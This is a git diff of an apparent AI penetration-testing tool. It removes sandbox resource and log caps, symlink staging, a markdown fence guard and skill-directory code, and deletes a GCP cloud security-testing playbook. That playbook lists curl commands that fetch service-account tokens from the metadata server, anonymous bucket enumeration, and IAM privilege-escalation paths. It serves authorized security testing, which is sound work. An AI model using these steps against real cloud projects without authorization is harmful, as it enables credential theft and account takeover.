_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
_BACKTICK_RUN = re.compile(r"`+")
def _safe_fence(content: str) -> str:
"""Return a backtick fence that ``content`` cannot break out of.
Per CommonMark a fenced code block is closed only by a run of backticks at
least as long as the opening fence. LLM-authored, attacker-influenced values
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
a fence one backtick longer than the longest run inside ``content`` (never
fewer than three). Everything in ``content`` then renders verbatim.
"""
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
return "`" * max(3, longest + 1)
def read_run_record(run_dir: Path) -> dict[str, Any]:
path = run_record_path(run_dir)
@@ -140,13 +124,8 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
f"**Found:** {report.get('timestamp', 'unknown')}",
]
dep_meta = report.get("dependency_metadata") or {}
metadata: list[tuple[str, Any]] = [
("Target", report.get("target")),
("Package", dep_meta.get("package_name")),
("Ecosystem", dep_meta.get("package_ecosystem")),
("Installed Version", dep_meta.get("installed_version")),
("Fixed Version", dep_meta.get("fixed_version")),
("Endpoint", report.get("endpoint")),
("Method", report.get("method")),
("CVE", report.get("cve")),
@@ -155,8 +134,6 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
cvss = report.get("cvss")
if cvss is not None:
metadata.append(("CVSS", cvss))
if report.get("fix_effort"):
metadata.append(("Fix Effort", str(report["fix_effort"]).title()))
for label, value in metadata:
if value:
lines.append(f"**{label}:** {value}")
@@ -166,11 +143,6 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(report.get("description") or "No description provided.")
lines.append("")
if report.get("evidence"):
lines.append("## Evidence\n")
lines.append(str(report["evidence"]))
lines.append("")
if report.get("impact"):
lines.append("## Impact\n")
lines.append(str(report["impact"]))
@@ -187,11 +159,9 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(str(report["poc_description"]))
lines.append("")
if report.get("poc_script_code"):
code = str(report["poc_script_code"])
fence = _safe_fence(code)
lines.append(fence)
lines.append(code)
lines.append(fence)
lines.append("```")
lines.append(str(report["poc_script_code"]))
lines.append("```")
lines.append("")
if report.get("code_locations"):
@@ -208,11 +178,7 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
if loc.get("label"):
lines.append(f" {loc['label']}")
if loc.get("snippet"):
snippet = str(loc["snippet"])
fence = _safe_fence(snippet)
lines.append(f" {fence}")
lines.extend(f" {ln}" for ln in snippet.splitlines())
lines.append(f" {fence}")
lines.append(f" ```\n {loc['snippet']}\n ```")
if loc.get("fix_before") or loc.get("fix_after"):
lines.append("\n **Suggested Fix:**")
lines.append("```diff")
@@ -228,9 +194,4 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(str(report["remediation_steps"]))
lines.append("")
if report.get("assumptions"):
lines.append("## Assumptions\n")
lines.append(str(report["assumptions"]))
lines.append("")
return "\n".join(lines)
+4 -12
View File
@@ -10,7 +10,6 @@ exposed-port URL for all subsequent SDK calls.
from __future__ import annotations
import asyncio
import contextlib
import json
import logging
from typing import TYPE_CHECKING
@@ -94,16 +93,9 @@ async def bootstrap_caido(
client = Client(host_url, auth=TokenAuthOptions(token=access_token))
await client.connect()
try:
project = await client.project.create(
CreateProjectOptions(name="sandbox", temporary=True),
)
await client.project.select(project.id)
except BaseException:
# The connected client never reaches the session bundle if project
# setup fails, so close it here to avoid leaking the transport.
with contextlib.suppress(Exception):
await client.aclose()
raise
project = await client.project.create(
CreateProjectOptions(name="sandbox", temporary=True),
)
await client.project.select(project.id)
logger.info("Caido project selected: %s", project.id)
return client
+3 -128
View File
@@ -24,134 +24,31 @@ from __future__ import annotations
import contextlib
import logging
import os
import uuid
from typing import Any, cast
from typing import Any
from agents.sandbox.errors import ExposedPortUnavailableError
from agents.sandbox.manifest import Manifest
from agents.sandbox.sandboxes.docker import (
DockerSandboxClient,
DockerSandboxSession,
_build_docker_volume_mounts,
_docker_port_key,
_manifest_requires_fuse,
_manifest_requires_sys_admin,
)
from agents.sandbox.session.sandbox_session import SandboxSession
from agents.sandbox.types import ExposedPortEndpoint
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
from docker.models.containers import Container # type: ignore[import-untyped, unused-ignore]
from docker.types import LogConfig # type: ignore[import-untyped, unused-ignore]
from docker.types import Mount as DockerSDKMount # type: ignore[import-untyped, unused-ignore]
from docker.utils import parse_repository_tag # type: ignore[import-untyped, unused-ignore]
from requests.exceptions import RequestException
logger = logging.getLogger(__name__)
_SANDBOX_NETWORK_ENV = "STRIX_DOCKER_SANDBOX_NETWORK"
def _sandbox_network() -> str | None:
value = os.environ.get(_SANDBOX_NETWORK_ENV, "").strip()
return value or None
def _apply_sandbox_network(create_kwargs: dict[str, Any]) -> None:
network = _sandbox_network()
if network:
create_kwargs["network"] = network
create_kwargs.pop("ports", None)
def _apply_resource_limits(create_kwargs: dict[str, Any]) -> None:
"""Apply optional cgroup resource caps from the environment. Unset/blank
values leave docker's default (unbounded), so this is opt-in per host."""
mem_limit = os.environ.get("STRIX_SANDBOX_MEM_LIMIT", "").strip()
if mem_limit:
create_kwargs["mem_limit"] = mem_limit
shm_size = os.environ.get("STRIX_SANDBOX_SHM_SIZE", "").strip()
if shm_size:
create_kwargs["shm_size"] = shm_size
cpus = os.environ.get("STRIX_SANDBOX_CPUS", "").strip()
if cpus:
with contextlib.suppress(ValueError, OverflowError):
nano_cpus = int(float(cpus) * 1_000_000_000)
if 0 < nano_cpus <= 2**63 - 1:
create_kwargs["nano_cpus"] = nano_cpus
pids_limit = os.environ.get("STRIX_SANDBOX_PIDS_LIMIT", "").strip()
if pids_limit:
with contextlib.suppress(ValueError):
create_kwargs["pids_limit"] = int(pids_limit)
def _apply_log_limits(create_kwargs: dict[str, Any]) -> None:
"""Bound the container's json-file log so a runaway process in the sandbox
(e.g. a tool that busy-loops writing to stdout) cannot fill the host disk
and take the Docker daemon down with it.
Unlike the cgroup caps above, this defaults **on** — docker's own default
is an unbounded json-file, which is unsafe for an autonomous agent that
executes arbitrary commands. ``max-file`` rotation means the on-disk cap is
``max-size * max-file``. Set ``STRIX_SANDBOX_LOG_MAX_SIZE`` to ``0``/``off``
to opt back out to docker's default."""
max_size = os.environ.get("STRIX_SANDBOX_LOG_MAX_SIZE", "50m").strip()
if max_size.lower() in ("0", "off", "none", "unlimited"):
return
max_file = os.environ.get("STRIX_SANDBOX_LOG_MAX_FILE", "3").strip() or "3"
create_kwargs["log_config"] = LogConfig(
type=LogConfig.types.JSON,
config={"max-size": max_size, "max-file": max_file},
)
class StrixDockerSandboxSession(DockerSandboxSession):
sandbox_network: str = ""
async def _resolve_exposed_port(self, port: int) -> ExposedPortEndpoint:
try:
self._container.reload()
except docker_errors.APIError as e:
raise ExposedPortUnavailableError(
port=port,
exposed_ports=self.state.exposed_ports,
reason="backend_unavailable",
context={
"backend": "docker",
"detail": "container_reload_failed",
"network": self.sandbox_network,
},
cause=e,
) from e
attrs = getattr(self._container, "attrs", {}) or {}
networks = attrs.get("NetworkSettings", {}).get("Networks", {})
endpoint = networks.get(self.sandbox_network) or {}
ip = endpoint.get("IPAddress") or endpoint.get("GlobalIPv6Address")
if not isinstance(ip, str) or not ip:
raise ExposedPortUnavailableError(
port=port,
exposed_ports=self.state.exposed_ports,
reason="backend_unavailable",
context={
"backend": "docker",
"detail": "container_not_on_network",
"network": self.sandbox_network,
},
)
host = f"[{ip}]" if ":" in ip else ip
return ExposedPortEndpoint(host=host, port=port, tls=False)
class StrixDockerSandboxClient(DockerSandboxClient):
# Host directories to bind-mount into the container, set by the docker
# backend before ``create()``. Each item is ``{source, target, read_only}``.
strix_bind_mounts: list[dict[str, Any]] | None = None
strix_bind_mounts: list[dict[str, Any]] = [] # overridden per-instance in backends.py
async def _create_container(
self,
@@ -219,10 +116,6 @@ class StrixDockerSandboxClient(DockerSandboxClient):
extra_hosts = create_kwargs.setdefault("extra_hosts", {})
extra_hosts["host.docker.internal"] = "host-gateway"
_apply_sandbox_network(create_kwargs)
_apply_resource_limits(create_kwargs)
_apply_log_limits(create_kwargs)
# Strix injection: host bind mounts (e.g. large repos passed via --mount)
# that bypass the SDK's file-by-file LocalDir copy.
bind_mounts = getattr(self, "strix_bind_mounts", ())
@@ -252,27 +145,9 @@ class StrixDockerSandboxClient(DockerSandboxClient):
)
return container
async def create(self, **kwargs: Any) -> SandboxSession:
session = await super().create(**kwargs)
network = _sandbox_network()
inner = session._inner
if network and isinstance(inner, DockerSandboxSession):
inner.__class__ = StrixDockerSandboxSession
cast("StrixDockerSandboxSession", inner).sandbox_network = network
return session
async def delete(self, session: SandboxSession) -> SandboxSession:
container_id = getattr(getattr(session._inner, "state", None), "container_id", None)
if container_id:
# Best-effort kill: NotFound/APIError cover a gone or unhappy
# container. RequestException covers a torn-down daemon socket —
# containers.get() -> inspect_container raises requests'
# ConnectionError, which is a sibling of docker.errors.APIError
# under requests.RequestException (not a subclass), so it escapes
# an APIError-only suppress and surfaces a full traceback even
# though this teardown is meant to be best-effort.
with contextlib.suppress(
docker_errors.NotFound, docker_errors.APIError, RequestException
):
with contextlib.suppress(docker_errors.NotFound, docker_errors.APIError):
self.docker_client.containers.get(container_id).kill()
return await super().delete(session)
-120
View File
@@ -1,120 +0,0 @@
"""Symlink-safe staging for ``LocalDir`` manifest uploads.
The sandbox SDK's ``LocalDir`` walker refuses to copy symlinks at all — it
raises ``LocalDirReadError(reason="symlink_not_supported")`` on the first one
as a path-escape / TOCTOU safeguard. Real source trees (especially JS/TS
monorepos with workspace or shared-config links) routinely commit symlinks, so
handing such a tree straight to ``LocalDir`` aborts the upload before the agent
even starts.
:func:`stage_symlink_safe_dir` returns a path that is always safe to hand to
``LocalDir``:
* a tree with no symlinks is used as-is (no copy);
* otherwise the tree is copied into a temp directory with symlinks resolved:
- a link whose target stays inside the tree is *dereferenced* (its target
content is materialized in place), so the agent still sees the file;
- a link that escapes the tree, dangles, or forms a cycle is *dropped* and
never followed. Refusing to follow out-of-tree links preserves the walker's
path-escape safety and keeps host/out-of-tree content from leaking into the
(hostile) sandbox.
Regular files are hard-linked when possible (falling back to a copy across
devices), so the staged tree adds negligible disk for the non-symlink bulk.
"""
from __future__ import annotations
import logging
import os
import shutil
import tempfile
from pathlib import Path
logger = logging.getLogger(__name__)
_STAGING_PREFIX = "strix-localdir-"
def _is_within(target: Path, root: Path) -> bool:
"""Return whether ``target`` is ``root`` itself or nested under it."""
if target == root:
return True
try:
target.relative_to(root)
except ValueError:
return False
return True
def tree_has_symlink(root: Path) -> bool:
"""Return whether ``root`` contains any symlink (file or directory)."""
for dirpath, dirnames, filenames in os.walk(root, followlinks=False):
base = Path(dirpath)
for name in (*dirnames, *filenames):
if (base / name).is_symlink():
return True
return False
def _link_or_copy(src: Path, dst: Path) -> None:
"""Hard-link ``src`` to ``dst``, falling back to a content copy."""
try:
os.link(src, dst)
except OSError:
shutil.copy2(src, dst, follow_symlinks=True)
def _stage_dir(src: Path, dst: Path, root: Path, seen: frozenset[Path]) -> None:
dst.mkdir(parents=True, exist_ok=True)
for entry in os.scandir(src):
entry_path = Path(entry.path)
dest_path = dst / entry.name
if entry.is_symlink():
target = Path(os.path.realpath(entry_path))
if not _is_within(target, root):
logger.warning("staging: dropping out-of-tree symlink %s -> %s", entry_path, target)
continue
if not target.exists():
logger.warning("staging: dropping dangling symlink %s", entry_path)
continue
if target in seen:
logger.warning("staging: dropping cyclic symlink %s -> %s", entry_path, target)
continue
if target.is_dir():
_stage_dir(target, dest_path, root, seen | {target})
else:
_link_or_copy(target, dest_path)
elif entry.is_dir(follow_symlinks=False):
_stage_dir(entry_path, dest_path, root, seen)
elif entry.is_file(follow_symlinks=False):
_link_or_copy(entry_path, dest_path)
else:
# Sockets, FIFOs, devices — not part of a source tree; skip.
logger.debug("staging: skipping non-regular entry %s", entry_path)
def stage_symlink_safe_dir(src_root: Path) -> tuple[Path, Path | None]:
"""Return ``(upload_path, staged_temp)`` for uploading ``src_root``.
``upload_path`` is safe to hand to ``LocalDir``. When the tree contains no
symlinks it is ``src_root`` itself and ``staged_temp`` is ``None``.
Otherwise a symlink-safe copy is materialized in a temp directory and both
returned values point at it; the caller owns removing ``staged_temp`` once
the upload completes.
"""
root = src_root.resolve()
if not tree_has_symlink(root):
return root, None
staged = Path(tempfile.mkdtemp(prefix=_STAGING_PREFIX))
try:
_stage_dir(root, staged, root, frozenset({root}))
except OSError:
shutil.rmtree(staged, ignore_errors=True)
raise
logger.info("staging: materialized symlink-safe copy of %s at %s", root, staged)
return staged, staged
+13 -35
View File
@@ -3,7 +3,6 @@
from __future__ import annotations
import logging
import shutil
from pathlib import Path
from typing import Any
@@ -13,7 +12,6 @@ from agents.sandbox.manifest import Environment, Manifest
from strix.config import load_settings
from strix.runtime.backends import get_backend
from strix.runtime.caido_bootstrap import bootstrap_caido
from strix.runtime.local_dir_staging import stage_symlink_safe_dir
logger = logging.getLogger(__name__)
@@ -31,20 +29,16 @@ _WORKSPACE_ROOT = "/workspace"
def build_session_entries(
local_sources: list[dict[str, Any]],
) -> tuple[dict[str | Path, BaseEntry], list[dict[str, Any]], list[Path]]:
) -> tuple[dict[str | Path, BaseEntry], list[dict[str, Any]]]:
"""Split local sources into copied manifest entries and host bind mounts.
Sources flagged ``mount`` are bind-mounted read-only at
``/workspace/<workspace_subdir>`` (not added to the manifest, so the SDK
does not stream them in file-by-file). Every other source becomes a
``LocalDir`` entry copied into the container as before. Trees containing
symlinks (which the SDK's ``LocalDir`` walker refuses outright) are first
staged into a symlink-safe temp copy; those temp dirs are returned so the
caller can remove them once the upload completes.
``LocalDir`` entry copied into the container as before.
"""
entries: dict[str | Path, BaseEntry] = {}
bind_mounts: list[dict[str, Any]] = []
staged_dirs: list[Path] = []
for src in local_sources:
ws_subdir = src.get("workspace_subdir") or ""
host_path = src.get("source_path") or ""
@@ -60,11 +54,8 @@ def build_session_entries(
}
)
else:
upload_path, staged = stage_symlink_safe_dir(resolved)
if staged is not None:
staged_dirs.append(staged)
entries[ws_subdir] = LocalDir(src=upload_path)
return entries, bind_mounts, staged_dirs
entries[ws_subdir] = LocalDir(src=resolved)
return entries, bind_mounts
async def create_or_reuse(
@@ -84,7 +75,7 @@ async def create_or_reuse(
logger.info("Reusing existing sandbox session for scan %s", scan_id)
return cached
entries, bind_mounts, staged_dirs = build_session_entries(local_sources)
entries, bind_mounts = build_session_entries(local_sources)
# Caido runs as an in-container sidecar; HTTP(S) traffic from any
# process started via ``session.exec`` (the SDK's Shell tool, etc.)
@@ -115,20 +106,15 @@ async def create_or_reuse(
backend_name,
image,
)
try:
client, session = await backend(
image=image,
manifest=manifest,
exposed_ports=(_CONTAINER_CAIDO_PORT,),
bind_mounts=bind_mounts,
)
finally:
for staged in staged_dirs:
shutil.rmtree(staged, ignore_errors=True)
client, session = await backend(
image=image,
manifest=manifest,
exposed_ports=(_CONTAINER_CAIDO_PORT,),
bind_mounts=bind_mounts,
)
caido_endpoint = await session.resolve_exposed_port(_CONTAINER_CAIDO_PORT)
scheme = "https" if caido_endpoint.tls else "http"
host_caido_url = f"{scheme}://{caido_endpoint.host}:{caido_endpoint.port}"
host_caido_url = f"http://{caido_endpoint.host}:{caido_endpoint.port}"
logger.debug("Caido host endpoint resolved: %s", host_caido_url)
caido_client = await bootstrap_caido(
@@ -167,19 +153,11 @@ async def cleanup(scan_id: str) -> None:
except Exception: # noqa: BLE001
logger.debug("cleanup(%s): caido_client.aclose() raised", scan_id, exc_info=True)
client = bundle["client"]
try:
await client.delete(bundle["session"])
await bundle["client"].delete(bundle["session"])
logger.info("Cleaned up sandbox session for scan %s", scan_id)
except Exception:
logger.exception(
"cleanup(%s): client.delete raised; container may need manual reaping",
scan_id,
)
docker_client = getattr(client, "docker_client", None)
if docker_client is not None:
try:
docker_client.close()
except Exception: # noqa: BLE001
logger.debug("cleanup(%s): docker_client.close() raised", scan_id, exc_info=True)
-1
View File
@@ -41,7 +41,6 @@ The skills are dynamically injected into the agent's system prompt, allowing it
Notable source-aware skills:
- `source_aware_whitebox` (coordination): white-box orchestration playbook
- `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow
- `dependency_cve_scanning` (custom): trivy-based SCA workflow for reporting known dependency CVEs via `create_dependency_report`
---
+35 -165
View File
@@ -1,11 +1,7 @@
import logging
import re
import threading
from collections import Counter
from collections.abc import Iterator
from pathlib import Path
from strix.telemetry import posthog, scarf
from strix.utils.resource_paths import get_strix_resource_path
@@ -14,82 +10,20 @@ logger = logging.getLogger(__name__)
_FRONTMATTER_PATTERN = re.compile(r"^---\s*\n.*?\n---\s*\n", re.DOTALL)
_INTERNAL_SKILL_CATEGORIES: frozenset[str] = frozenset({"scan_modes", "coordination"})
_ROOT_SKILL_CATEGORY = "root"
_EXTRA_SKILL_DIRS: list[Path] = []
def register_skill_dir(path: str | Path) -> None:
"""Add a directory searched for skills ahead of the built-in set.
The directory uses the same layout as the packaged skills
(``<root>/<category>/<name>.md``). Skills found in a registered
directory shadow packaged skills with the same relative path, so
callers can both add new skills and override existing ones without
editing the package. The most recently registered directory has the
highest precedence.
"""
resolved = Path(path)
if resolved not in _EXTRA_SKILL_DIRS:
_EXTRA_SKILL_DIRS.append(resolved)
logger.info("Registered extra skill dir: %s", resolved)
def registered_skill_dirs() -> tuple[Path, ...]:
"""Return registered extra skill directories, highest precedence first."""
return tuple(reversed(_EXTRA_SKILL_DIRS))
def skill_search_dirs() -> tuple[Path, ...]:
"""All existing skill roots, highest precedence first (built-in last)."""
roots = [d for d in registered_skill_dirs() if d.is_dir()]
builtin = get_strix_resource_path("skills")
if builtin.is_dir():
roots.append(builtin)
return tuple(roots)
def _iter_user_skill_files() -> Iterator[tuple[str, str]]:
"""Yield ``(category_name, skill_name)`` for every user-selectable skill."""
seen: set[tuple[str, str]] = set()
for skills_dir in skill_search_dirs():
for file_path in sorted(skills_dir.glob("*.md")):
if file_path.name.startswith("__") or file_path.name == "README.md":
continue
key = (_ROOT_SKILL_CATEGORY, file_path.stem)
if key in seen:
continue
seen.add(key)
yield key
for category_dir in sorted(skills_dir.iterdir()):
if not category_dir.is_dir() or category_dir.name.startswith("__"):
continue
if category_dir.name in _INTERNAL_SKILL_CATEGORIES:
continue
for file_path in sorted(category_dir.glob("*.md")):
key = (category_dir.name, file_path.stem)
if key in seen:
continue
seen.add(key)
yield key
def _is_selectable_root_skill_file(file_path: Path) -> bool:
return file_path.suffix == ".md" and not (
file_path.name.startswith("__") or file_path.name == "README.md"
)
def _qualified_skill_file(skills_dir: Path, category: str, name: str) -> Path | None:
if category == _ROOT_SKILL_CATEGORY:
candidate = skills_dir / f"{name}.md"
if candidate.exists() and _is_selectable_root_skill_file(candidate):
return candidate
return None
candidate = skills_dir / category / f"{name}.md"
return candidate if candidate.exists() else None
skills_dir = get_strix_resource_path("skills")
if not skills_dir.exists():
return
for category_dir in sorted(skills_dir.iterdir()):
if not category_dir.is_dir() or category_dir.name.startswith("__"):
continue
if category_dir.name in _INTERNAL_SKILL_CATEGORIES:
continue
for file_path in sorted(category_dir.glob("*.md")):
yield category_dir.name, file_path.stem
def get_all_skill_names() -> set[str]:
@@ -97,54 +31,6 @@ def get_all_skill_names() -> set[str]:
return {name for _, name in _iter_user_skill_files()}
def _get_all_skill_keys() -> set[str]:
keys: set[str] = set()
for category, name in _iter_user_skill_files():
keys.add(f"{category}/{name}")
return keys
def _get_ambiguous_skill_names() -> set[str]:
counts = Counter(name for _, name in _iter_user_skill_files())
return {name for name, count in counts.items() if count > 1}
def _qualified_skill_files(skill_name: str) -> list[Path]:
category, _, name = skill_name.partition("/")
for skills_dir in skill_search_dirs():
candidate = _qualified_skill_file(skills_dir, category, name)
if candidate is not None:
return [candidate]
return []
def _bare_skill_files(skill_name: str) -> list[Path]:
seen: set[tuple[str, str]] = set()
candidates: list[Path] = []
for skills_dir in skill_search_dirs():
for category_dir in sorted(skills_dir.iterdir()):
if not category_dir.is_dir() or category_dir.name.startswith("__"):
continue
if category_dir.name in _INTERNAL_SKILL_CATEGORIES:
continue
key = (category_dir.name, skill_name)
if key in seen:
continue
candidate = category_dir / f"{skill_name}.md"
if candidate.exists():
seen.add(key)
candidates.append(candidate)
key = (_ROOT_SKILL_CATEGORY, skill_name)
if key in seen:
continue
root_candidate = _qualified_skill_file(skills_dir, _ROOT_SKILL_CATEGORY, skill_name)
if root_candidate is not None:
seen.add(key)
candidates.append(root_candidate)
return candidates
def get_available_skills() -> dict[str, list[str]]:
grouped: dict[str, list[str]] = {}
for category, name in _iter_user_skill_files():
@@ -166,63 +52,48 @@ def validate_requested_skills(skill_list: list[str], max_skills: int = 5) -> str
if not skill_list:
return None
available = get_all_skill_names()
available_keys = _get_all_skill_keys()
invalid = sorted({s for s in skill_list if s not in available and s not in available_keys})
invalid = sorted({s for s in skill_list if s not in available})
if invalid:
return f"Invalid skill name(s): {invalid}. Available skills: {sorted(available)}"
ambiguous = sorted({s for s in skill_list if "/" not in s} & _get_ambiguous_skill_names())
if ambiguous:
return (
f"Ambiguous skill name(s): {ambiguous}. Use category-qualified names from: "
f"{sorted(available_keys)}"
)
return None
def _track_skill_loaded(skill_name: str, file_path: Path) -> None:
builtin = get_strix_resource_path("skills")
if not file_path.is_relative_to(builtin):
skill_name = "custom"
def _send() -> None:
posthog.skill_loaded(skill_name)
scarf.skill_loaded(skill_name)
threading.Thread(target=_send, daemon=True).start()
def _candidate_skill_files(skill_name: str) -> list[Path]:
"""Resolve *skill_name* to effective matching files."""
if "/" in skill_name:
return _qualified_skill_files(skill_name)
return _bare_skill_files(skill_name)
def load_skills(skill_names: list[str]) -> dict[str, str]:
"""Load skill markdown bodies (frontmatter stripped) by name.
Skill files live at ``strix/skills/<category>/<name>.md`` (or any
directory added via :func:`register_skill_dir`, searched first).
Names can be ``"name"`` (any category), ``"category/name"``, or a
bare file at the skills root. Missing skills are logged and skipped.
Skill files live at ``strix/skills/<category>/<name>.md``. Names
can be ``"name"`` (any category), ``"category/name"``, or a bare
file at the skills root. Missing skills are logged and skipped.
"""
search_dirs = skill_search_dirs()
if not search_dirs:
skills_dir = get_strix_resource_path("skills")
if not skills_dir.exists():
return {}
by_category: dict[str, str] = {}
for category_dir in skills_dir.iterdir():
if not category_dir.is_dir() or category_dir.name.startswith("__"):
continue
for file_path in category_dir.glob("*.md"):
by_category[file_path.stem] = f"{category_dir.name}/{file_path.stem}.md"
skill_content: dict[str, str] = {}
for skill_name in skill_names:
candidates = _candidate_skill_files(skill_name)
if not candidates:
rel_path: str | None
if "/" in skill_name:
rel_path = f"{skill_name}.md"
elif skill_name in by_category:
rel_path = by_category[skill_name]
elif (skills_dir / f"{skill_name}.md").exists():
rel_path = f"{skill_name}.md"
else:
rel_path = None
if rel_path is None or not (skills_dir / rel_path).exists():
logger.warning("Skill not found: %s", skill_name)
continue
if len(candidates) > 1:
logger.warning("Ambiguous skill name %s; use a category-qualified name", skill_name)
continue
file_path = candidates[0]
try:
content = file_path.read_text(encoding="utf-8")
content = (skills_dir / rel_path).read_text(encoding="utf-8")
except (OSError, ValueError) as e:
logger.warning("Failed to load skill %s: %s", skill_name, e)
continue
@@ -230,7 +101,6 @@ def load_skills(skill_names: list[str]) -> dict[str, str]:
var_name = skill_name.split("/")[-1]
skill_content[var_name] = _FRONTMATTER_PATTERN.sub("", content).lstrip()
logger.debug("Loaded skill: %s -> %s", skill_name, var_name)
_track_skill_loaded(var_name, file_path)
logger.debug("load_skills: %d skill(s) resolved", len(skill_content))
return skill_content
-194
View File
@@ -1,194 +0,0 @@
---
name: gcp
description: GCP cloud security testing covering IAM misconfigurations, public storage buckets, metadata abuse, and service account privilege escalation
---
# Google Cloud Platform (GCP)
GCP misconfigurations expose project data, service account keys, and lateral movement paths across Compute, Cloud Storage, Cloud Functions, and GKE. This skill covers direct GCP API testing and post-compromise enumeration from VMs/containers. For SSRF-mediated metadata access, combine with the `ssrf` skill.
## Attack Surface
**Identity**
- IAM policies: project/folder/org level bindings
- Service accounts, keys (JSON), Workload Identity, impersonation
- OAuth scopes on compute instances and Cloud Functions
**Storage & Data**
- Cloud Storage (GCS) buckets and objects
- BigQuery datasets, Cloud SQL instances, Firestore (see `firebase_firestore` skill)
- Secret Manager, Cloud KMS keys
**Compute**
- Compute Engine VMs, Cloud Run, Cloud Functions, GKE clusters
- Metadata server at `http://metadata.google.internal/computeMetadata/v1/`
- Startup scripts, instance templates, custom images
**Management**
- Cloud Console, gcloud CLI, Deployment Manager, Terraform state buckets
- Cloud Logging, Error Reporting, Cloud Build triggers
## Reconnaissance
**Credential Discovery**
- Service account JSON keys in repos, CI/CD, `.env`, backup buckets
- `GOOGLE_APPLICATION_CREDENTIALS` environment variable
- Default Compute Engine service account on VMs (often overprivileged)
- OAuth tokens in browser/local `gcloud` config (`~/.config/gcloud/`)
**Unauthenticated Enumeration**
Avoid `gsutil` for anonymous checks — it can use ambient `gcloud` or application-default credentials and produce false public-bucket findings. Unset `GOOGLE_APPLICATION_CREDENTIALS` and use unauthenticated HTTP instead.
```
# GCS bucket existence (403 = exists but private, 404 = not found/wrong region)
curl -I https://storage.googleapis.com/target-bucket/
# Anonymous listing (no Authorization header; confirms allUsers/allAuthenticatedUsers List)
curl https://storage.googleapis.com/target-bucket/
# Alternate URL forms
curl -I https://target-bucket.storage.googleapis.com/
```
**Authenticated Enumeration**
```
gcloud auth list
gcloud config get-value project
gcloud projects get-iam-policy PROJECT_ID
gcloud iam service-accounts list
gcloud storage ls
gcloud compute instances list
gcloud container clusters list
```
## Key Vulnerabilities
### Cloud Storage Misconfigurations
- Public buckets: `allUsers` or `allAuthenticatedUsers` with `roles/storage.objectViewer` or `objectAdmin`
- Listable buckets revealing object keys: backups, `.env`, `terraform.tfstate`, SA keys
- Uniform bucket-level access disabled with legacy ACL public-read
- Signed URL with excessive TTL or overly broad object prefix
**Test:**
```
gsutil iam get gs://BUCKET # requires credentials
curl https://storage.googleapis.com/BUCKET/ # anonymous listing check
curl -I https://storage.googleapis.com/BUCKET/sensitive.sql
```
### IAM Privilege Escalation
Common escalation paths (verify with `gcloud iam` / policy simulator):
| Permission | Escalation |
|------------|------------|
| `iam.serviceAccounts.actAs` + `compute.instances.create` | VM with privileged SA |
| `iam.serviceAccountKeys.create` | Export key for higher-priv SA |
| `iam.serviceAccounts.setIamPolicy` | Grant yourself roles on SA |
| `cloudfunctions.functions.create` + `actAs` | Deploy function as privileged SA |
| `run.services.create` (Cloud Run) + `actAs` | Deploy service with admin SA |
| `storage.buckets.update` + `setIamPolicy` | Open bucket to public or self |
**Test:**
```
gcloud projects get-iam-policy PROJECT --flatten="bindings[].members" --filter="bindings.members:user:YOU"
gcloud iam roles list --project=PROJECT
```
### Metadata Server Abuse
From any code execution on a GCP VM, Cloud Run (if metadata accessible), or compromised pod:
```
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
```
- Default compute SA may have `editor` role on project (legacy projects)
- Requested OAuth scopes may allow `cloud-platform` full access
- Workload Identity misconfiguration in GKE → cross-namespace SA token theft
### GKE Misconfigurations
- Dashboard/UI exposed, anonymous RBAC (see `kubernetes` skill for K8s layer)
- Workload Identity not enforced; pods use node SA with broad GCP permissions
- `kubectl` proxy or `kubelet` read-only port exposed
- Secrets in ConfigMaps; GCR/Artifact Registry images pulling without auth
### Cloud Functions / Cloud Run
- HTTP-triggered functions without authentication (`--allow-unauthenticated`)
- Environment variables containing API keys (`gcloud functions describe`)
- Overprivileged runtime service account (`roles/editor`)
- Event triggers accepting attacker-controlled Pub/Sub messages
### BigQuery & Cloud SQL
- Public datasets (`allUsers` on dataset IAM)
- Cloud SQL public IP with weak/no password
- Exported snapshots in public GCS buckets
### Secret Manager & KMS
- `secretmanager.versions.access` granted to unintended principals
- Secrets replicated to logs via misconfigured Cloud Functions env vars
- KMS cryptoKey IAM with `allAuthenticatedUsers`
## Advanced Techniques
**Terraform State in GCS**
- `terraform.tfstate` in listable bucket → all resource addresses, sometimes secrets in plain text
**Service Account Impersonation Chain**
- `roles/iam.serviceAccountTokenCreator` on target SA → short-lived access tokens
**Org/Fold Policy Gaps**
- Project-level deny policies not applied; child project inherits permissive folder IAM
## Testing Methodology
1. **Discover credentials** — Keys in code, metadata, SSRF, public buckets
2. **Identify principal**`gcloud auth list`, effective project IAM
3. **Enumerate storage** — Public/listable buckets, sensitive object names
4. **Escalation paths** — Map `actAs`, key creation, function deploy permissions
5. **Metadata** — From any shell in GCP workload, fetch SA token and scopes
6. **GKE layer** — Pivot from GCP IAM to cluster (combine with `kubernetes` skill)
## Validation
1. Demonstrate unauthorized GCS object read/list with bucket URL and object key
2. Show IAM escalation path with exact role/member binding and resulting access
3. Prove metadata token theft from compute context with redacted token scope
4. Document project ID, resource name, and IAM binding root cause
5. Confirm fix blocks the specific principal/permission/resource combination
## False Positives
- Intentionally public static asset bucket with no sensitive objects
- Metadata server unreachable from tested context (no RCE/SSRF)
- SA token from metadata has only `devstorage.read_only` on single bucket (note scope, not full breach)
- `403` on bucket HEAD indicating existence but not readable content
## Impact
- Mass data exfiltration from GCS/BigQuery/Cloud SQL backups
- Project or org compromise via SA key theft or IAM escalation
- Lateral movement from GKE pod to cloud control plane
- Regulatory exposure (PII in public buckets or exports)
## Pro Tips
1. Always check both `gsutil iam get` and anonymous `curl` — IAM and ACL layers differ
